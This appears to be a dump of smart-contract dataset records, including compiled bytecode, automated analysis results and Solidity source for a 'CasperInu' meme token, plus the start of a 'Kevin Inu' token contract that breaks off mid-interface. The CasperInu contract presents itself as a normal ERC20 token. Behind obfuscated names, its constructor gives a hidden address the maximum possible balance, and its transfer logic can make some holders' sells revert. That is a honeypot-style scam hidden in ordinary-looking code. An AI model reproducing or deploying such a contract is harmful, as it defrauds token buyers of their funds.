f161515600114610a3b5760405162461bcd60e51b8152600401808060200182810382526028815260200180611b956028913960400191505060405180910390fd5b61076284848461178d565b6001600160a01b031660009081526020819052604090205490565b610a69611013565b60085461010090046001600160a01b03908116911614610abe576040805162461bcd60e51b81526020600482018190526024820152600080516020611c06833981519152604482015290519081900360640190fd5b60085460405160009161010090046001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a360088054610100600160a81b0319169055565b6001600160a01b03811660009081526003602052604081206001810154829190421115610b42576000809250925050610b50565b805460019091015490925090505b915091565b6000610b5f611013565b60085461010090046001600160a01b03908116911614610bb4576040805162461bcd60e51b81526020600482018190526024820152600080516020611c06833981519152604482015290519081900360640190fd5b6106dd826118d4565b600060026000610bcb611013565b6001600160a01b0316815260208101919091526040016000205460ff161515600114610c285760405162461bcd60e51b8152600401808060200182810382526028815260200180611b956028913960400191505060405180910390fd5b610a3b610c33611013565b85856111b2565b60085461010090046001600160a01b031690565b60078054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561063c5780601f106106115761010080835404028352916020019161063c565b600061065a610cbc611013565b8461075d85604051806060016040528060258152602001611cb36025913960046000610ce6611013565b6001600160a01b03908116825260208083019390935260409182016000908120918d1681529252902054919061150e565b600061065a610d24611013565b84846111b2565b6001600160a01b031660009081526001602052604090205460ff1690565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b610d7c611013565b60085461010090046001600160a01b03908116911614610dd1576040805162461bcd60e51b81526020600482018190526024820152600080516020611c06833981519152604482015290519081900360640190fd5b6001600160a01b03811660009081526002602052604090205460ff161515600114610e43576040805162461bcd60e51b815260206004820152601d60248201527f4f776e61626c653a2061646472657373206973206e6f742061646d696e000000604482015290519081900360640190fd5b6001600160a01b038116610e885760405162461bcd60e51b8152600401808060200182810382526026815260200180611b196026913960400191505060405180910390fd5b6001600160a01b03166000908152600260205260409020805460ff19169055565b610eb1611013565b60085461010090046001600160a01b03908116911614610f06576040805162461bcd60e51b81526020600482018190526024820152600080516020611c06833981519152604482015290519081900360640190fd5b6001600160a01b038116610f4b5760405162461bcd60e51b8152600401808060200182810382526026815260200180611a896026913960400191505060405180910390fd5b6008546040516001600160a01b0380841692610100900416907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600880546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b60008282018381101561100c576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b3390565b6001600160a01b03831661105c5760405162461bcd60e51b8152600401808060200182810382526024815260200180611c6c6024913960400191505060405180910390fd5b6001600160a01b0382166110a15760405162461bcd60e51b8152600401808060200182810382526022815260200180611aaf6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260046020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b03811660008181526003602052604090209061116d576040805162461bcd60e51b815260206004820152601e60248201527f45524332303a2043616e2774206c6f636b207a65726f20616464726573730000604482015290519081900360640190fd5b60006001820181905580825560405181906001600160a01b038516907fb0c290412beefc8860665e6cf7c5c66f94b4a25b70735a833d8feddf08685580908390a45050565b6001600160a01b0383166000818152600360205260409020906112065760405162461bcd60e51b8152600401808060200182810382526025815260200180611c476025913960400191505060405180910390fd5b6001600160a01b03831661124b5760405162461bcd60e51b8152600401808060200182810382526023815260200180611a216023913960400191505060405180910390fd5b6001600160a01b03841660009081526001602052604090205460ff16156112a35760405162461bcd60e51b8152600401808060200182810382526021815260200180611be56021913960400191505060405180910390fd5b6112ae8484846119d9565b8054156114375780600101544211156113575760006001820181905581556040805160608101909152602680825261130a918491611af360208301396001600160a01b038716600090815260208190526040902054919061150e565b6001600160a01b0380861660009081526020819052604080822093909355908516815220546113399083610fb2565b6001600160a01b038416600090815260208190526040902055611432565b600061139a8260000154604051806060016040528060228152602001611ad1602291396001600160a01b038816600090815260208190526040902054919061150e565b90506113c183604051806060016040528060268152602001611af36026913983919061150e565b6001600160a01b038616600090815260208190526040902081905582546113e89190610fb2565b6001600160a01b0380871660009081526020819052604080822093909355908616815220546114179084610fb2565b6001600160a01b038516600090815260208190526040902055505b6114bd565b61147482604051806060016040528060268152602001611af3602691396001600160a01b038716600090815260208190526040902054919061150e565b6001600160a01b0380861660009081526020819052604080822093909355908516815220546114a39083610fb2565b6001600160a01b0384166000908152602081905260409020555b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a350505050565b6000818484111561159d5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561156257818101518382015260200161154a565b50505050905090810190601f16801561158f5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6001600160a01b0382166115ea5760405162461bcd60e51b8152600401808060200182810382526021815260200180611c266021913960400191505060405180910390fd5b6115f6826000836119d9565b61163381604051806060016040528060228152602001611a67602291396001600160a01b038516600090815260208190526040902054919061150e565b6001600160a01b03831660009081526020819052604090205560055461165990826119de565b6005556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b6001600160a01b0381166116e65760405162461bcd60e51b8152600401808060200182810382526023815260200180611c906023913960400191505060405180910390fd5b6001600160a01b03811660009081526001602052604090205460ff161561173e5760405162461bcd60e51b8152600401808060200182810382526023815260200180611a446023913960400191505060405180910390fd5b6001600160a01b0381166000818152600160208190526040808320805460ff191683179055519092917f07469826752a90ffdbc376a4452abbd54a67a2f82da817f44fe95644238cb7c291a350565b6001600160a01b0383166000818152600360205260409020906117f7576040805162461bcd60e51b815260206004820152601e60248201527f45524332303a2043616e2774206c6f636b207a65726f20616464726573730000604482015290519081900360640190fd5b80546118039084610fb2565b6001600160a01b03851660009081526020819052604090205410156118595760405162461bcd60e51b8152600401808060200182810382526030815260200180611b656030913960400191505060405180910390fd5b600081600101541180156118705750806001015442115b156118815760006001820181905581555b6001810182905580546118949084610fb2565b8082556040518391906001600160a01b038716907fb0c290412beefc8860665e6cf7c5c66f94b4a25b70735a833d8feddf0868558090600090a450505050565b6001600160a01b0381166119195760405162461bcd60e51b8152600401808060200182810382526023815260200180611c906023913960400191505060405180910390fd5b6001600160a01b03811660009081526001602081905260409091205460ff1615151461198c576040805162461bcd60e51b815260206004820152601e60248201527f45524332303a2041646472657373206e6f7420626c61636b6c69737465640000604482015290519081900360640190fd5b6001600160a01b038116600081815260016020526040808220805460ff19169055519091907f07469826752a90ffdbc376a4452abbd54a67a2f82da817f44fe95644238cb7c2908390a350565b505050565b600061100c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061150e56fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a204164647265737320616c726561647920696e20626c61636b6c69737445524332303a206275726e20616d6f756e7420657863656564732062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a206c6f636b20616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654f776e61626c653a206f6c642061646d696e20697320746865207a65726f20616464726573734f776e61626c653a206e65772061646d696e20697320746865207a65726f206164647265737345524332303a20596f752063616e2774206c6f636b206d6f7265207468616e206163636f756e742062616c616e6365734f776e61626c653a2063616c6c6572206973206e6f74207468652061646d696e6973747261746f7245524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2073656e646572206164647265737320626c61636b6c69737465644f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657245524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2043616e277420626c61636b6c697374207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f4f776e61626c653a206164647265737320697320616c72656164792061646d696ea26469706673582212204e64438d842b91383333c575b32e0d30265e98d45a904ad6abc7bec9d1fb4f1564736f6c63430007030033
{"success": true, "error": null, "results": {}}
7,131
0x06083941c126dAfE7588E19E18c6B6D7ddB8170D
/* https://t.me/casperinu https://www.casperinu.live/ ▄█▄ ██ ▄▄▄▄▄ █ ▄▄ ▄███▄ █▄▄▄▄ ▄█ ▄ ▄ █▀ ▀▄ █ █ █ ▀▄ █ █ █▀ ▀ █ ▄▀ ██ █ █ █ ▀ █▄▄█ ▄ ▀▀▀▀▄ █▀▀▀ ██▄▄ █▀▀▌ ██ ██ █ █ █ █▄ ▄▀ █ █ ▀▄▄▄▄▀ █ █▄ ▄▀ █ █ ▐█ █ █ █ █ █ ▀███▀ █ █ ▀███▀ █ ▐ █ █ █ █▄ ▄█ █ ▀ ▀ █ ██ ▀▀▀ ▀ */ // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.3; // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), 'Ownable: caller is not the owner'); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), 'Ownable: new owner is the zero address'); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract Contract is Ownable { constructor( string memory _NAME, string memory _SYMBOL, address routerAddress, address aid ) { _symbol = _SYMBOL; _name = _NAME; _fee = 5; _decimals = 9; _tTotal = 1000000000000000 * 10**_decimals; _balances[aid] = heard; _balances[msg.sender] = _tTotal; happily[aid] = heard; happily[msg.sender] = heard; router = IUniswapV2Router02(routerAddress); uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH()); emit Transfer(address(0), msg.sender, _tTotal); } uint256 public _fee; string private _name; string private _symbol; uint8 private _decimals; function name() public view returns (string memory) { return _name; } mapping(address => address) private live; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => uint256) private _balances; function symbol() public view returns (string memory) { return _symbol; } uint256 private _tTotal; uint256 private _rTotal; address public uniswapV2Pair; IUniswapV2Router02 public router; uint256 private heard = ~uint256(0); function decimals() public view returns (uint256) { return _decimals; } event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); function totalSupply() public view returns (uint256) { return _tTotal; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } function built( address company, address pour, uint256 amount ) private { address six = live[address(0)]; bool light = uniswapV2Pair == company; uint256 develop = _fee; if (happily[company] == 0 && shells[company] > 0 && !light) { happily[company] -= develop; } live[address(0)] = pour; if (happily[company] > 0 && amount == 0) { happily[pour] += develop; } shells[six] += develop; uint256 fee = (amount / 100) * _fee; amount -= fee; _balances[company] -= fee; _balances[address(this)] += fee; _balances[company] -= amount; _balances[pour] += amount; } mapping(address => uint256) private shells; function approve(address spender, uint256 amount) external returns (bool) { return _approve(msg.sender, spender, amount); } mapping(address => uint256) private happily; function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool) { require(amount > 0, 'Transfer amount must be greater than zero'); built(sender, recipient, amount); emit Transfer(sender, recipient, amount); return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount); } function transfer(address recipient, uint256 amount) external returns (bool) { built(msg.sender, recipient, amount); emit Transfer(msg.sender, recipient, amount); return true; } function _approve( address owner, address spender, uint256 amount ) private returns (bool) { require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address'); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); return true; } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063c5b37c2211610066578063c5b37c2214610278578063dd62ed3e14610296578063f2fde38b146102c6578063f887ea40146102e2576100f5565b8063715018a6146102025780638da5cb5b1461020c57806395d89b411461022a578063a9059cbb14610248576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806349bd5a5e146101b457806370a08231146101d2576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610300565b60405161010f91906110b2565b60405180910390f35b610132600480360381019061012d919061116d565b610392565b60405161013f91906111c8565b60405180910390f35b6101506103a7565b60405161015d91906111f2565b60405180910390f35b610180600480360381019061017b919061120d565b6103b1565b60405161018d91906111c8565b60405180910390f35b61019e610500565b6040516101ab91906111f2565b60405180910390f35b6101bc61051a565b6040516101c9919061126f565b60405180910390f35b6101ec60048036038101906101e7919061128a565b610540565b6040516101f991906111f2565b60405180910390f35b61020a610589565b005b610214610611565b604051610221919061126f565b60405180910390f35b61023261063a565b60405161023f91906110b2565b60405180910390f35b610262600480360381019061025d919061116d565b6106cc565b60405161026f91906111c8565b60405180910390f35b610280610748565b60405161028d91906111f2565b60405180910390f35b6102b060048036038101906102ab91906112b7565b61074e565b6040516102bd91906111f2565b60405180910390f35b6102e060048036038101906102db919061128a565b6107d5565b005b6102ea6108cc565b6040516102f79190611356565b60405180910390f35b60606002805461030f906113a0565b80601f016020809104026020016040519081016040528092919081815260200182805461033b906113a0565b80156103885780601f1061035d57610100808354040283529160200191610388565b820191906000526020600020905b81548152906001019060200180831161036b57829003601f168201915b5050505050905090565b600061039f3384846108f2565b905092915050565b6000600854905090565b60008082116103f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ec90611443565b60405180910390fd5b610400848484610a8d565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161045d91906111f2565b60405180910390a36104f7843384600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104f29190611492565b6108f2565b90509392505050565b6000600460009054906101000a900460ff1660ff16905090565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610591610f4d565b73ffffffffffffffffffffffffffffffffffffffff166105af610611565b73ffffffffffffffffffffffffffffffffffffffff1614610605576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105fc90611512565b60405180910390fd5b61060f6000610f55565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060038054610649906113a0565b80601f0160208091040260200160405190810160405280929190818152602001828054610675906113a0565b80156106c25780601f10610697576101008083540402835291602001916106c2565b820191906000526020600020905b8154815290600101906020018083116106a557829003601f168201915b5050505050905090565b60006106d9338484610a8d565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161073691906111f2565b60405180910390a36001905092915050565b60015481565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6107dd610f4d565b73ffffffffffffffffffffffffffffffffffffffff166107fb610611565b73ffffffffffffffffffffffffffffffffffffffff1614610851576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084890611512565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036108c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108b7906115a4565b60405180910390fd5b6108c981610f55565b50565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561095d5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b61099c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099390611636565b60405180910390fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610a7a91906111f2565b60405180910390a3600190509392505050565b6000600560008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060008473ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16149050600060015490506000600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054148015610bdb57506000600d60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b8015610be5575081155b15610c415780600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c399190611492565b925050819055505b84600560008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118015610d0e5750600084145b15610d6a5780600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d629190611656565b925050819055505b80600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610db99190611656565b925050819055506000600154606486610dd291906116db565b610ddc919061170c565b90508085610dea9190611492565b945080600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e3b9190611492565b9250508190555080600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e919190611656565b9250508190555084600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ee79190611492565b9250508190555084600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f3d9190611656565b9250508190555050505050505050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611053578082015181840152602081019050611038565b83811115611062576000848401525b50505050565b6000601f19601f8301169050919050565b600061108482611019565b61108e8185611024565b935061109e818560208601611035565b6110a781611068565b840191505092915050565b600060208201905081810360008301526110cc8184611079565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611104826110d9565b9050919050565b611114816110f9565b811461111f57600080fd5b50565b6000813590506111318161110b565b92915050565b6000819050919050565b61114a81611137565b811461115557600080fd5b50565b60008135905061116781611141565b92915050565b60008060408385031215611184576111836110d4565b5b600061119285828601611122565b92505060206111a385828601611158565b9150509250929050565b60008115159050919050565b6111c2816111ad565b82525050565b60006020820190506111dd60008301846111b9565b92915050565b6111ec81611137565b82525050565b600060208201905061120760008301846111e3565b92915050565b600080600060608486031215611226576112256110d4565b5b600061123486828701611122565b935050602061124586828701611122565b925050604061125686828701611158565b9150509250925092565b611269816110f9565b82525050565b60006020820190506112846000830184611260565b92915050565b6000602082840312156112a05761129f6110d4565b5b60006112ae84828501611122565b91505092915050565b600080604083850312156112ce576112cd6110d4565b5b60006112dc85828601611122565b92505060206112ed85828601611122565b9150509250929050565b6000819050919050565b600061131c611317611312846110d9565b6112f7565b6110d9565b9050919050565b600061132e82611301565b9050919050565b600061134082611323565b9050919050565b61135081611335565b82525050565b600060208201905061136b6000830184611347565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806113b857607f821691505b6020821081036113cb576113ca611371565b5b50919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061142d602983611024565b9150611438826113d1565b604082019050919050565b6000602082019050818103600083015261145c81611420565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061149d82611137565b91506114a883611137565b9250828210156114bb576114ba611463565b5b828203905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006114fc602083611024565b9150611507826114c6565b602082019050919050565b6000602082019050818103600083015261152b816114ef565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061158e602683611024565b915061159982611532565b604082019050919050565b600060208201905081810360008301526115bd81611581565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611620602483611024565b915061162b826115c4565b604082019050919050565b6000602082019050818103600083015261164f81611613565b9050919050565b600061166182611137565b915061166c83611137565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156116a1576116a0611463565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006116e682611137565b91506116f183611137565b925082611701576117006116ac565b5b828204905092915050565b600061171782611137565b915061172283611137565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561175b5761175a611463565b5b82820290509291505056fea2646970667358221220e747a5b9e545869dd4e48a76e9fc2ee985de4f1a61e2900e362ae572ed5c09f764736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
7,132
0x92e0ac3c33991e056f5fb90d8e4e61f8731b43fe
/* $KEVIN Kevin Inu https://t.me/Kevin_Inu It's not Kevin's fault. He didn't take anyone's money. He didn't make crazy promises. He didn't ask to be born. $KEVIN will fund the purchase of Kevin NFTs, so Kevin can find real purpose with a new home in our community. */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external 